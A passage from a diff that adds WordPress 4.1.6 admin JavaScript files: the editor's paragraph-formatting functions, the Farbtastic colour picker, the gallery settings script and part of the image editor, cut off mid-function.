+		content = content.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' );
+		content = content.replace( /<li([^>]*)>/g, '\t<li$1>' );
+
+		if ( content.indexOf( '<option' ) !== -1 ) {
+			content = content.replace( /\s*<option/g, '\n<option' );
+			content = content.replace( /\s*<\/select>/g, '\n</select>' );
+		}
+
+		if ( content.indexOf( '<hr' ) !== -1 ) {
+			content = content.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' );
+		}
+
+		if ( content.indexOf( '<object' ) !== -1 ) {
+			content = content.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
+				return a.replace( /[\r\n]+/g, '' );
+			});
+		}
+
+		// Unmark special paragraph closing tags
+		content = content.replace( /<\/p#>/g, '</p>\n' );
+		content = content.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' );
+
+		// Trim whitespace
+		content = content.replace( /^\s+/, '' );
+		content = content.replace( /[\s\u00a0]+$/, '' );
+
+		// put back the line breaks in pre|script
+		if ( preserve_linebreaks ) {
+			content = content.replace( /<wp-line-break>/g, '\n' );
+		}
+
+		// and the <br> tags in captions
+		if ( preserve_br ) {
+			content = content.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
+		}
+
+		return content;
+	},
+
+	_wp_Autop: function(pee) {
+		var preserve_linebreaks = false,
+			preserve_br = false,
+			blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' +
+				'|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' +
+				'|article|aside|hgroup|header|footer|nav|figure|details|menu|summary';
+
+		if ( pee.indexOf( '<object' ) !== -1 ) {
+			pee = pee.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
+				return a.replace( /[\r\n]+/g, '' );
+			});
+		}
+
+		pee = pee.replace( /<[^<>]+>/g, function( a ){
+			return a.replace( /[\r\n]+/g, ' ' );
+		});
+
+		// Protect pre|script tags
+		if ( pee.indexOf( '<pre' ) !== -1 || pee.indexOf( '<script' ) !== -1 ) {
+			preserve_linebreaks = true;
+			pee = pee.replace( /<(pre|script)[^>]*>[\s\S]+?<\/\1>/g, function( a ) {
+				return a.replace( /(\r\n|\n)/g, '<wp-line-break>' );
+			});
+		}
+
+		// keep <br> tags inside captions and convert line breaks
+		if ( pee.indexOf( '[caption' ) !== -1 ) {
+			preserve_br = true;
+			pee = pee.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
+				// keep existing <br>
+				a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' );
+				// no line breaks inside HTML tags
+				a = a.replace( /<[a-zA-Z0-9]+( [^<>]+)?>/g, function( b ) {
+					return b.replace( /[\r\n\t]+/, ' ' );
+				});
+				// convert remaining line breaks to <br>
+				return a.replace( /\s*\n\s*/g, '<wp-temp-br />' );
+			});
+		}
+
+		pee = pee + '\n\n';
+		pee = pee.replace( /<br \/>\s*<br \/>/gi, '\n\n' );
+		pee = pee.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n$1' );
+		pee = pee.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' );
+		pee = pee.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' ); // hr is self closing block element
+		pee = pee.replace( /\s*<option/gi, '<option' ); // No <p> or <br> around <option>
+		pee = pee.replace( /<\/option>\s*/gi, '</option>' );
+		pee = pee.replace( /\r\n|\r/g, '\n' );
+		pee = pee.replace( /\n\s*\n+/g, '\n\n' );
+		pee = pee.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' );
+		pee = pee.replace( /<p>\s*?<\/p>/gi, '');
+		pee = pee.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
+		pee = pee.replace( /<p>(<li.+?)<\/p>/gi, '$1');
+		pee = pee.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>');
+		pee = pee.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>');
+		pee = pee.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' );
+		pee = pee.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
+		pee = pee.replace( /\s*\n/gi, '<br />\n');
+		pee = pee.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' );
+		pee = pee.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' );
+		pee = pee.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' );
+
+		pee = pee.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) {
+			if ( c.match( /<p( [^>]*)?>/ ) ) {
+				return a;
+			}
+
+			return b + '<p>' + c + '</p>';
+		});
+
+		// put back the line breaks in pre|script
+		if ( preserve_linebreaks ) {
+			pee = pee.replace( /<wp-line-break>/g, '\n' );
+		}
+
+		if ( preserve_br ) {
+			pee = pee.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
+		}
+
+		return pee;
+	},
+
+	pre_wpautop: function( content ) {
+		var t = this, o = { o: t, data: content, unfiltered: content },
+			q = typeof( jQuery ) !== 'undefined';
+
+		if ( q ) {
+			jQuery( 'body' ).trigger( 'beforePreWpautop', [ o ] );
+		}
+
+		o.data = t._wp_Nop( o.data );
+
+		if ( q ) {
+			jQuery('body').trigger('afterPreWpautop', [ o ] );
+		}
+
+		return o.data;
+	},
+
+	wpautop: function( pee ) {
+		var t = this, o = { o: t, data: pee, unfiltered: pee },
+			q = typeof( jQuery ) !== 'undefined';
+
+		if ( q ) {
+			jQuery( 'body' ).trigger('beforeWpautop', [ o ] );
+		}
+
+		o.data = t._wp_Autop( o.data );
+
+		if ( q ) {
+			jQuery( 'body' ).trigger('afterWpautop', [ o ] );
+		}
+
+		return o.data;
+	}
+};
Index: /tags/4.1.6/src/wp-admin/js/farbtastic.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/farbtastic.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/farbtastic.js	(revision 33402)
@@ -0,0 +1,276 @@
+/*!
+ * Farbtastic: jQuery color picker plug-in v1.3u
+ *
+ * Licensed under the GPL license:
+ *   http://www.gnu.org/licenses/gpl.html
+ */
+(function($) {
+
+$.fn.farbtastic = function (options) {
+  $.farbtastic(this, options);
+  return this;
+};
+
+$.farbtastic = function (container, callback) {
+  var container = $(container).get(0);
+  return container.farbtastic || (container.farbtastic = new $._farbtastic(container, callback));
+};
+
+$._farbtastic = function (container, callback) {
+  // Store farbtastic object
+  var fb = this;
+
+  // Insert markup
+  $(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');
+  var e = $('.farbtastic', container);
+  fb.wheel = $('.wheel', container).get(0);
+  // Dimensions
+  fb.radius = 84;
+  fb.square = 100;
+  fb.width = 194;
+
+  // Fix background PNGs in IE6
+  if (navigator.appVersion.match(/MSIE [0-6]\./)) {
+    $('*', e).each(function () {
+      if (this.currentStyle.backgroundImage != 'none') {
+        var image = this.currentStyle.backgroundImage;
+        image = this.currentStyle.backgroundImage.substring(5, image.length - 2);
+        $(this).css({
+          'backgroundImage': 'none',
+          'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')"
+        });
+      }
+    });
+  }
+
+  /**
+   * Link to the given element(s) or callback.
+   */
+  fb.linkTo = function (callback) {
+    // Unbind previous nodes
+    if (typeof fb.callback == 'object') {
+      $(fb.callback).unbind('keyup', fb.updateValue);
+    }
+
+    // Reset color
+    fb.color = null;
+
+    // Bind callback or elements
+    if (typeof callback == 'function') {
+      fb.callback = callback;
+    }
+    else if (typeof callback == 'object' || typeof callback == 'string') {
+      fb.callback = $(callback);
+      fb.callback.bind('keyup', fb.updateValue);
+      if (fb.callback.get(0).value) {
+        fb.setColor(fb.callback.get(0).value);
+      }
+    }
+    return this;
+  };
+  fb.updateValue = function (event) {
+    if (this.value && this.value != fb.color) {
+      fb.setColor(this.value);
+    }
+  };
+
+  /**
+   * Change color with HTML syntax #123456
+   */
+  fb.setColor = function (color) {
+    var unpack = fb.unpack(color);
+    if (fb.color != color && unpack) {
+      fb.color = color;
+      fb.rgb = unpack;
+      fb.hsl = fb.RGBToHSL(fb.rgb);
+      fb.updateDisplay();
+    }
+    return this;
+  };
+
+  /**
+   * Change color with HSL triplet [0..1, 0..1, 0..1]
+   */
+  fb.setHSL = function (hsl) {
+    fb.hsl = hsl;
+    fb.rgb = fb.HSLToRGB(hsl);
+    fb.color = fb.pack(fb.rgb);
+    fb.updateDisplay();
+    return this;
+  };
+
+  /////////////////////////////////////////////////////
+
+  /**
+   * Retrieve the coordinates of the given event relative to the center
+   * of the widget.
+   */
+  fb.widgetCoords = function (event) {
+    var offset = $(fb.wheel).offset();
+    return { x: (event.pageX - offset.left) - fb.width / 2, y: (event.pageY - offset.top) - fb.width / 2 };
+  };
+
+  /**
+   * Mousedown handler
+   */
+  fb.mousedown = function (event) {
+    // Capture mouse
+    if (!document.dragging) {
+      $(document).bind('mousemove', fb.mousemove).bind('mouseup', fb.mouseup);
+      document.dragging = true;
+    }
+
+    // Check which area is being dragged
+    var pos = fb.widgetCoords(event);
+    fb.circleDrag = Math.max(Math.abs(pos.x), Math.abs(pos.y)) * 2 > fb.square;
+
+    // Process
+    fb.mousemove(event);
+    return false;
+  };
+
+  /**
+   * Mousemove handler
+   */
+  fb.mousemove = function (event) {
+    // Get coordinates relative to color picker center
+    var pos = fb.widgetCoords(event);
+
+    // Set new HSL parameters
+    if (fb.circleDrag) {
+      var hue = Math.atan2(pos.x, -pos.y) / 6.28;
+      if (hue < 0) hue += 1;
+      fb.setHSL([hue, fb.hsl[1], fb.hsl[2]]);
+    }
+    else {
+      var sat = Math.max(0, Math.min(1, -(pos.x / fb.square) + .5));
+      var lum = Math.max(0, Math.min(1, -(pos.y / fb.square) + .5));
+      fb.setHSL([fb.hsl[0], sat, lum]);
+    }
+    return false;
+  };
+
+  /**
+   * Mouseup handler
+   */
+  fb.mouseup = function () {
+    // Uncapture mouse
+    $(document).unbind('mousemove', fb.mousemove);
+    $(document).unbind('mouseup', fb.mouseup);
+    document.dragging = false;
+  };
+
+  /**
+   * Update the markers and styles
+   */
+  fb.updateDisplay = function () {
+    // Markers
+    var angle = fb.hsl[0] * 6.28;
+    $('.h-marker', e).css({
+      left: Math.round(Math.sin(angle) * fb.radius + fb.width / 2) + 'px',
+      top: Math.round(-Math.cos(angle) * fb.radius + fb.width / 2) + 'px'
+    });
+
+    $('.sl-marker', e).css({
+      left: Math.round(fb.square * (.5 - fb.hsl[1]) + fb.width / 2) + 'px',
+      top: Math.round(fb.square * (.5 - fb.hsl[2]) + fb.width / 2) + 'px'
+    });
+
+    // Saturation/Luminance gradient
+    $('.color', e).css('backgroundColor', fb.pack(fb.HSLToRGB([fb.hsl[0], 1, 0.5])));
+
+    // Linked elements or callback
+    if (typeof fb.callback == 'object') {
+      // Set background/foreground color
+      $(fb.callback).css({
+        backgroundColor: fb.color,
+        color: fb.hsl[2] > 0.5 ? '#000' : '#fff'
+      });
+
+      // Change linked value
+      $(fb.callback).each(function() {
+        if (this.value && this.value != fb.color) {
+          this.value = fb.color;
+        }
+      });
+    }
+    else if (typeof fb.callback == 'function') {
+      fb.callback.call(fb, fb.color);
+    }
+  };
+
+  /* Various color utility functions */
+  fb.pack = function (rgb) {
+    var r = Math.round(rgb[0] * 255);
+    var g = Math.round(rgb[1] * 255);
+    var b = Math.round(rgb[2] * 255);
+    return '#' + (r < 16 ? '0' : '') + r.toString(16) +
+           (g < 16 ? '0' : '') + g.toString(16) +
+           (b < 16 ? '0' : '') + b.toString(16);
+  };
+
+  fb.unpack = function (color) {
+    if (color.length == 7) {
+      return [parseInt('0x' + color.substring(1, 3)) / 255,
+        parseInt('0x' + color.substring(3, 5)) / 255,
+        parseInt('0x' + color.substring(5, 7)) / 255];
+    }
+    else if (color.length == 4) {
+      return [parseInt('0x' + color.substring(1, 2)) / 15,
+        parseInt('0x' + color.substring(2, 3)) / 15,
+        parseInt('0x' + color.substring(3, 4)) / 15];
+    }
+  };
+
+  fb.HSLToRGB = function (hsl) {
+    var m1, m2, r, g, b;
+    var h = hsl[0], s = hsl[1], l = hsl[2];
+    m2 = (l <= 0.5) ? l * (s + 1) : l + s - l*s;
+    m1 = l * 2 - m2;
+    return [this.hueToRGB(m1, m2, h+0.33333),
+        this.hueToRGB(m1, m2, h),
+        this.hueToRGB(m1, m2, h-0.33333)];
+  };
+
+  fb.hueToRGB = function (m1, m2, h) {
+    h = (h < 0) ? h + 1 : ((h > 1) ? h - 1 : h);
+    if (h * 6 < 1) return m1 + (m2 - m1) * h * 6;
+    if (h * 2 < 1) return m2;
+    if (h * 3 < 2) return m1 + (m2 - m1) * (0.66666 - h) * 6;
+    return m1;
+  };
+
+  fb.RGBToHSL = function (rgb) {
+    var min, max, delta, h, s, l;
+    var r = rgb[0], g = rgb[1], b = rgb[2];
+    min = Math.min(r, Math.min(g, b));
+    max = Math.max(r, Math.max(g, b));
+    delta = max - min;
+    l = (min + max) / 2;
+    s = 0;
+    if (l > 0 && l < 1) {
+      s = delta / (l < 0.5 ? (2 * l) : (2 - 2 * l));
+    }
+    h = 0;
+    if (delta > 0) {
+      if (max == r && max != g) h += (g - b) / delta;
+      if (max == g && max != b) h += (2 + (b - r) / delta);
+      if (max == b && max != r) h += (4 + (r - g) / delta);
+      h /= 6;
+    }
+    return [h, s, l];
+  };
+
+  // Install mousedown handler (the others are set on the document on-demand)
+  $('*', e).mousedown(fb.mousedown);
+
+    // Init color
+  fb.setColor('#000000');
+
+  // Set linked elements/callback
+  if (callback) {
+    fb.linkTo(callback);
+  }
+};
+
+})(jQuery);
Index: /tags/4.1.6/src/wp-admin/js/gallery.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/gallery.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/gallery.js	(revision 33402)
@@ -0,0 +1,237 @@
+/* global unescape, getUserSetting, setUserSetting */
+
+jQuery(document).ready(function($) {
+	var gallerySortable, gallerySortableInit, sortIt, clearAll, w, desc = false;
+
+	gallerySortableInit = function() {
+		gallerySortable = $('#media-items').sortable( {
+			items: 'div.media-item',
+			placeholder: 'sorthelper',
+			axis: 'y',
+			distance: 2,
+			handle: 'div.filename',
+			stop: function() {
+				// When an update has occurred, adjust the order for each item
+				var all = $('#media-items').sortable('toArray'), len = all.length;
+				$.each(all, function(i, id) {
+					var order = desc ? (len - i) : (1 + i);
+					$('#' + id + ' .menu_order input').val(order);
+				});
+			}
+		} );
+	};
+
+	sortIt = function() {
+		var all = $('.menu_order_input'), len = all.length;
+		all.each(function(i){
+			var order = desc ? (len - i) : (1 + i);
+			$(this).val(order);
+		});
+	};
+
+	clearAll = function(c) {
+		c = c || 0;
+		$('.menu_order_input').each( function() {
+			if ( this.value === '0' || c ) {
+				this.value = '';
+			}
+		});
+	};
+
+	$('#asc').click( function() {
+		desc = false;
+		sortIt();
+		return false;
+	});
+	$('#desc').click( function() {
+		desc = true;
+		sortIt();
+		return false;
+	});
+	$('#clear').click( function() {
+		clearAll(1);
+		return false;
+	});
+	$('#showall').click( function() {
+		$('#sort-buttons span a').toggle();
+		$('a.describe-toggle-on').hide();
+		$('a.describe-toggle-off, table.slidetoggle').show();
+		$('img.pinkynail').toggle(false);
+		return false;
+	});
+	$('#hideall').click( function() {
+		$('#sort-buttons span a').toggle();
+		$('a.describe-toggle-on').show();
+		$('a.describe-toggle-off, table.slidetoggle').hide();
+		$('img.pinkynail').toggle(true);
+		return false;
+	});
+
+	// initialize sortable
+	gallerySortableInit();
+	clearAll();
+
+	if ( $('#media-items>*').length > 1 ) {
+		w = wpgallery.getWin();
+
+		$('#save-all, #gallery-settings').show();
+		if ( typeof w.tinyMCE !== 'undefined' && w.tinyMCE.activeEditor && ! w.tinyMCE.activeEditor.isHidden() ) {
+			wpgallery.mcemode = true;
+			wpgallery.init();
+		} else {
+			$('#insert-gallery').show();
+		}
+	}
+});
+
+jQuery(window).unload( function () { tinymce = tinyMCE = wpgallery = null; } ); // Cleanup
+
+/* gallery settings */
+var tinymce = null, tinyMCE, wpgallery;
+
+wpgallery = {
+	mcemode : false,
+	editor : {},
+	dom : {},
+	is_update : false,
+	el : {},
+
+	I : function(e) {
+		return document.getElementById(e);
+	},
+
+	init: function() {
+		var t = this, li, q, i, it, w = t.getWin();
+
+		if ( ! t.mcemode ) {
+			return;
+		}
+
+		li = ('' + document.location.search).replace(/^\?/, '').split('&');
+		q = {};
+		for (i=0; i<li.length; i++) {
+			it = li[i].split('=');
+			q[unescape(it[0])] = unescape(it[1]);
+		}
+
+		if ( q.mce_rdomain ) {
+			document.domain = q.mce_rdomain;
+		}
+
+		// Find window & API
+		tinymce = w.tinymce;
+		tinyMCE = w.tinyMCE;
+		t.editor = tinymce.EditorManager.activeEditor;
+
+		t.setup();
+	},
+
+	getWin : function() {
+		return window.dialogArguments || opener || parent || top;
+	},
+
+	setup : function() {
+		var t = this, a, ed = t.editor, g, columns, link, order, orderby;
+		if ( ! t.mcemode ) {
+			return;
+		}
+
+		t.el = ed.selection.getNode();
+
+		if ( t.el.nodeName !== 'IMG' || ! ed.dom.hasClass(t.el, 'wpGallery') ) {
+			if ( ( g = ed.dom.select('img.wpGallery') ) && g[0] ) {
+				t.el = g[0];
+			} else {
+				if ( getUserSetting('galfile') === '1' ) {
+					t.I('linkto-file').checked = 'checked';
+				}
+				if ( getUserSetting('galdesc') === '1' ) {
+					t.I('order-desc').checked = 'checked';
+				}
+				if ( getUserSetting('galcols') ) {
+					t.I('columns').value = getUserSetting('galcols');
+				}
+				if ( getUserSetting('galord') ) {
+					t.I('orderby').value = getUserSetting('galord');
+				}
+				jQuery('#insert-gallery').show();
+				return;
+			}
+		}
+
+		a = ed.dom.getAttrib(t.el, 'title');
+		a = ed.dom.decode(a);
+
+		if ( a ) {
+			jQuery('#update-gallery').show();
+			t.is_update = true;
+
+			columns = a.match(/columns=['"]([0-9]+)['"]/);
+			link = a.match(/link=['"]([^'"]+)['"]/i);
+			order = a.match(/order=['"]([^'"]+)['"]/i);
+			orderby = a.match(/orderby=['"]([^'"]+)['"]/i);
+
+			if ( link && link[1] ) {
+				t.I('linkto-file').checked = 'checked';
+			}
+			if ( order && order[1] ) {
+				t.I('order-desc').checked = 'checked';
+			}
+			if ( columns && columns[1] ) {
+				t.I('columns').value = '' + columns[1];
+			}
+			if ( orderby && orderby[1] ) {
+				t.I('orderby').value = orderby[1];
+			}
+		} else {
+			jQuery('#insert-gallery').show();
+		}
+	},
+
+	update : function() {
+		var t = this, ed = t.editor, all = '', s;
+
+		if ( ! t.mcemode || ! t.is_update ) {
+			s = '[gallery' + t.getSettings() + ']';
+			t.getWin().send_to_editor(s);
+			return;
+		}
+
+		if ( t.el.nodeName !== 'IMG' ) {
+			return;
+		}
+
+		all = ed.dom.decode( ed.dom.getAttrib( t.el, 'title' ) );
+		all = all.replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi, '');
+		all += t.getSettings();
+
+		ed.dom.setAttrib(t.el, 'title', all);
+		t.getWin().tb_remove();
+	},
+
+	getSettings : function() {
+		var I = this.I, s = '';
+
+		if ( I('linkto-file').checked ) {
+			s += ' link="file"';
+			setUserSetting('galfile', '1');
+		}
+
+		if ( I('order-desc').checked ) {
+			s += ' order="DESC"';
+			setUserSetting('galdesc', '1');
+		}
+
+		if ( I('columns').value !== 3 ) {
+			s += ' columns="' + I('columns').value + '"';
+			setUserSetting('galcols', I('columns').value);
+		}
+
+		if ( I('orderby').value !== 'menu_order' ) {
+			s += ' orderby="' + I('orderby').value + '"';
+			setUserSetting('galord', I('orderby').value);
+		}
+
+		return s;
+	}
+};
Index: /tags/4.1.6/src/wp-admin/js/image-edit.js
===================================================================
--- /tags/4.1.6/src/wp-admin/js/image-edit.js	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/js/image-edit.js	(revision 33402)
@@ -0,0 +1,633 @@
+/* global imageEditL10n, ajaxurl, confirm */
+
+(function($) {
+var imageEdit = window.imageEdit = {
+	iasapi : {},
+	hold : {},
+	postid : '',
+	_view : false,
+
+	intval : function(f) {
+		return f | 0;
+	},
+
+	setDisabled : function(el, s) {
+		if ( s ) {
+			el.removeClass('disabled');
+			$('input', el).removeAttr('disabled');
+		} else {
+			el.addClass('disabled');
+			$('input', el).prop('disabled', true);
+		}
+	},
+
+	init : function(postid) {
+		var t = this, old = $('#image-editor-' + t.postid),
+			x = t.intval( $('#imgedit-x-' + postid).val() ),
+			y = t.intval( $('#imgedit-y-' + postid).val() );
+
+		if ( t.postid !== postid && old.length ) {
+			t.close(t.postid);
+		}
+
+		t.hold.w = t.hold.ow = x;
+		t.hold.h = t.hold.oh = y;
+		t.hold.xy_ratio = x / y;
+		t.hold.sizer = parseFloat( $('#imgedit-sizer-' + postid).val() );
+		t.postid = postid;
+		$('#imgedit-response-' + postid).empty();
+
+		$('input[type="text"]', '#imgedit-panel-' + postid).keypress(function(e) {
+			var k = e.keyCode;
+
+			if ( 36 < k && k < 41 ) {
+				$(this).blur();
+			}
+
+			if ( 13 === k ) {
+				e.preventDefault();
+				e.stopPropagation();
+				return false;
+			}
+		});
+	},
+
+	toggleEditor : function(postid, toggle) {
+		var wait = $('#imgedit-wait-' + postid);
+
+		if ( toggle ) {
+			wait.height( $('#imgedit-panel-' + postid).height() ).fadeIn('fast');
+		} else {
+			wait.fadeOut('fast');
+		}
+	},
+
+	toggleHelp : function(el) {
+		$( el ).parents( '.imgedit-group-top' ).toggleClass( 'imgedit-help-toggled' ).find( '.imgedit-help' ).slideToggle( 'fast' );
+		return false;
+	},
+
+	getTarget : function(postid) {
+		return $('input[name="imgedit-target-' + postid + '"]:checked', '#imgedit-save-target-' + postid).val() || 'full';
+	},
+
+	scaleChanged : function(postid, x) {
+		var w = $('#imgedit-scale-width-' + postid), h = $('#imgedit-scale-height-' + postid),
+		warn = $('#imgedit-scale-warn-' + postid), w1 = '', h1 = '';
+
+		if ( x ) {
+			h1 = ( w.val() !== '' ) ? Math.round( w.val() / this.hold.xy_ratio ) : '';
+			h.val( h1 );
+		} else {
+			w1 = ( h.val() !== '' ) ? Math.round( h.val() * this.hold.xy_ratio ) : '';
+			w.val( w1 );
+		}
+
+		if ( ( h1 && h1 > this.hold.oh ) || ( w1 && w1 > this.hold.ow ) ) {
+			warn.css('visibility', 'visible');
+		} else {
+			warn.css('visibility', 'hidden');
+		}
+	},
+
+	getSelRatio : function(postid) {
+		var x = this.hold.w, y = this.hold.h,
+			X = this.intval( $('#imgedit-crop-width-' + postid).val() ),
+			Y = this.intval( $('#imgedit-crop-height-' + postid).val() );
+
+		if ( X && Y ) {
+			return X + ':' + Y;
+		}
+
+		if ( x && y ) {
+			return x + ':' + y;
+		}
+
+		return '1:1';
+	},
+
+	filterHistory : function(postid, setSize) {
+		// apply undo state to history
+		var history = $('#imgedit-history-' + postid).val(), pop, n, o, i, op = [];
+
+		if ( history !== '' ) {
+			history = JSON.parse(history);
+			pop = this.intval( $('#imgedit-undone-' + postid).val() );
+			if ( pop > 0 ) {
+				while ( pop > 0 ) {
+					history.pop();
+					pop--;
+				}
+			}
+
+			if ( setSize ) {
+				if ( !history.length ) {
+					this.hold.w = this.hold.ow;
+					this.hold.h = this.hold.oh;
+					return '';
+				}
+
+				// restore
+				o = history[history.length - 1];
+				o = o.c || o.r || o.f || false;
+
+				if ( o ) {
+					this.hold.w = o.fw;
+					this.hold.h = o.fh;
+				}
+			}
+
+			// filter the values
+			for ( n in history ) {
+				i = history[n];
+				if ( i.hasOwnProperty('c') ) {
+					op[n] = { 'c': { 'x': i.c.x, 'y': i.c.y, 'w': i.c.w, 'h': i.c.h } };
+				} else if ( i.hasOwnProperty('r') ) {
+					op[n] = { 'r': i.r.r };
+				} else if ( i.hasOwnProperty('f') ) {
+					op[n] = { 'f': i.f.f };
+				}
+			}
+			return JSON.stringify(op);
+		}
+		return '';
+	},
+
+	refreshEditor : function(postid, nonce, callback) {
+		var t = this, data, img;
+
+		t.toggleEditor(postid, 1);
+		data = {
+			'action': 'imgedit-preview',
+			'_ajax_nonce': nonce,
+			'postid': postid,
+			'history': t.filterHistory(postid, 1),
+			'rand': t.intval(Math.random() * 1000000)
+		};
+
+		img = $('<img id="image-preview-' + postid + '" />')
+			.on('load', function() {
+				var max1, max2, parent = $('#imgedit-crop-' + postid), t = imageEdit;
+
+				parent.empty().append(img);
+
+				// w, h are the new full size dims
+				max1 = Math.max( t.hold.w, t.hold.h );
+				max2 = Math.max( $(img).width(), $(img).height() );
+				t.hold.sizer = max1 > max2 ? max2 / max1 : 1;
+
+				t.initCrop(postid, img, parent);
+				t.setCropSelection(postid, 0);
+
+				if ( (typeof callback !== 'undefined') && callback !== null ) {
+					callback();
+				}
+
+				if ( $('#imgedit-history-' + postid).val() && $('#imgedit-undone-' + postid).val() === '0' ) {
+					$('input.imgedit-submit-btn', '#imgedit-panel-' + postid).removeAttr('disabled');
+				} else {
+					$('input.imgedit-submit-btn', '#imgedit-panel-' + postid).prop('disabled', true);
+				}
+
+				t.toggleEditor(postid, 0);
+			})
+			.on('error', function() {
+				$('#imgedit-crop-' + postid).empty().append('<div class="error"><p>' + imageEditL10n.error + '</p></div>');
+				t.toggleEditor(postid, 0);
+			})
+			.attr('src', ajaxurl + '?' + $.param(data));
+	},
+
+	action : function(postid, nonce, action) {
+		var t = this, data, w, h, fw, fh;
+
+		if ( t.notsaved(postid) ) {
+			return false;
+		}
+
+		data = {
+			'action': 'image-editor',
+			'_ajax_nonce': nonce,
+			'postid': postid
+		};
+
+		if ( 'scale' === action ) {
+			w = $('#imgedit-scale-width-' + postid),
+			h = $('#imgedit-scale-height-' + postid),
+			fw = t.intval(w.val()),
+			fh = t.intval(h.val());
+
+			if ( fw < 1 ) {
+				w.focus();
+				return false;
+			} else if ( fh < 1 ) {
+				h.focus();
+				return false;
+			}
+
+			if ( fw === t.hold.ow || fh === t.hold.oh ) {
+				return false;
+			}
+
+			data['do'] = 'scale';
+			data.fwidth = fw;
+			data.fheight = fh;
+		} else if ( 'restore' === action ) {
+			data['do'] = 'restore';
+		} else {
+			return false;
+		}
+
+		t.toggleEditor(postid, 1);
+		$.post(ajaxurl, data, function(r) {
+			$('#image-editor-' + postid).empty().append(r);
+			t.toggleEditor(postid, 0);
+			// refresh the attachment model so that changes propagate
+			if ( t._view ) {
+				t._view.refresh();
+			}
+		});
+	},
+
+	save : function(postid, nonce) {
+		var data,
+			target = this.getTarget(postid),
+			history = this.filterHistory(postid, 0),
+			self = this;
+
+		if ( '' === history ) {
+			return false;
+		}
+
+		this.toggleEditor(postid, 1);
+		data = {
+			'action': 'image-editor',
+			'_ajax_nonce': nonce,
+			'postid': postid,
+			'history': history,
+			'target': target,
+			'context': $('#image-edit-context').length ? $('#image-edit-context').val() : null,
+			'do': 'save'
+		};
+
+		$.post(ajaxurl, data, function(r) {
+			var ret = JSON.parse(r);
+
+			if ( ret.error ) {
+				$('#imgedit-response-' + postid).html('<div class="error"><p>' + ret.error + '</p></div>');
+				imageEdit.close(postid);
+				return;
+			}
+
+			if ( ret.fw && ret.fh ) {
+				$('#media-dims-' + postid).html( ret.fw + ' &times; ' + ret.fh );
+			}
+
+			if ( ret.thumbnail ) {
+				$('.thumbnail', '#thumbnail-head-' + postid).attr('src', ''+ret.thumbnail);
+			}
+
+			if ( ret.msg ) {
+				$('#imgedit-response-' + postid).html('<div class="updated"><p>' + ret.msg + '</p></div>');
+			}
+
+			if ( self._view ) {
+				self._view.save();
+			} else {
+				imageEdit.close(postid);
+			}
+		});
+	},
+
+	open : function( postid, nonce, view ) {
+		this._view = view;
+
+		var dfd, data, elem = $('#image-editor-' + postid), head = $('#media-head-' + postid),
+			btn = $('#imgedit-open-btn-' + postid), spin = btn.siblings('.spinner');
+
+		btn.prop('disabled', true);
+		spin.show();
+
+		data = {
+			'action': 'image-editor',
+			'_ajax_nonce': nonce,
+			'postid': postid,
+			'do': 'open'
+		};
+
+		dfd = $.ajax({
+			url:  ajaxurl,
+			type: 'post',
+			data: data
+		}).done(function( html ) {
+			elem.html( html );
+			head.fadeOut('fast', function(){
+				elem.fadeIn('fast');
+				btn.removeAttr('disabled');
+				spin.hide();
+			});
+		});
+
+		return dfd;
+	},
+
+	imgLoaded : function(postid) {
+		var img = $('#image-preview-' + postid), parent = $('#imgedit-crop-' + postid);
+
+		this.initCrop(postid, img, parent);
+		this.setCropSelection(postid, 0);
+		this.toggleEditor(postid, 0);
+	},
+
+	initCrop : function(postid, image, parent) {
+		var t = this,
+			selW = $('#imgedit-sel-width-' + postid),
+			selH = $('#imgedit-sel-height-' + postid),
+			$img;
+
+		t.iasapi = $(image).imgAreaSelect({
+			parent: parent,
+			instance: true,
+			handles: true,
+			keys: true,
+			minWidth: 3,
+			minHeight: 3,
+
+			onInit: function( img ) {
+				// Ensure that the imgareaselect wrapper elements are position:absolute
+				// (even if we're in a position:fixed modal)
+				$img = $( img );
+				$img.next().css( 'position', 'absolute' )
+					.nextAll( '.imgareaselect-outer' ).css( 'position', 'absolute' );
+
+				parent.children().mousedown(function(e){
